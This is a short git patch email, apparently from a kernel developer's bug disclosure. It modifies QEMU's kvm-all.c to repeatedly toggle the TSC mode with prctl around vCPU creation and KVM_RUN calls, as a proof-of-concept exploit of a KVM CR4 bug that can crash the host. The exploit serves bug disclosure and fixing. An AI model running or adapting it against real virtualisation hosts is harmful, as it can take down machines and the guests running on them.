>From 3689fa9aa528efc759ce9089454d1185d9bf29ae Mon Sep 17 00:00:00 2001 Message-Id: <3689fa9aa528efc759ce9089454d1185d9bf29ae.1412696684.git.luto@amacapital.net> From: Andy Lutomirski Date: Tue, 7 Oct 2014 08:44:20 -0700 Subject: [PATCH] Evil QEMU hack to exploit a KVM CR4 bug Save all your work before running a patched QEMU :) --- kvm-all.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/kvm-all.c b/kvm-all.c index 4afcd0551bb2..2b4d4ace4d15 100644 --- a/kvm-all.c +++ b/kvm-all.c @@ -222,13 +222,15 @@ static int kvm_set_user_memory_region(KVMState *s, KVMSlot *slot) return kvm_vm_ioctl(s, KVM_SET_USER_MEMORY_REGION, &mem); } +#include int kvm_init_vcpu(CPUState *cpu) { KVMState *s = kvm_state; long mmap_size; int ret; - DPRINTF("kvm_init_vcpu\n"); + if (prctl(PR_SET_TSC, PR_TSC_SIGSEGV, 0, 0, 0) != 0) + printf("sad\n"); ret = kvm_vm_ioctl(s, KVM_CREATE_VCPU, (void *)kvm_arch_vcpu_id(cpu)); if (ret < 0) { @@ -236,6 +238,11 @@ int kvm_init_vcpu(CPUState *cpu) goto err; } + if (prctl(PR_SET_TSC, PR_TSC_ENABLE, 0, 0, 0) != 0) + printf("sad\n"); + + printf("TSC on\n"); + cpu->kvm_fd = ret; cpu->kvm_state = s; cpu->kvm_vcpu_dirty = true; @@ -1740,6 +1747,15 @@ int kvm_cpu_exec(CPUState *cpu) qemu_mutex_unlock_iothread(); run_ret = kvm_vcpu_ioctl(cpu, KVM_RUN, 0); + { + struct timespec ts = {0, 10000000}; + nanosleep(&ts, NULL); + if (prctl(PR_SET_TSC, PR_TSC_SIGSEGV, 0, 0, 0) != 0) + printf("sad\n"); + + if (prctl(PR_SET_TSC, PR_TSC_ENABLE, 0, 0, 0) != 0) + printf("sad\n"); + } qemu_mutex_lock_iothread(); kvm_arch_post_run(cpu, run); -- 1.9.3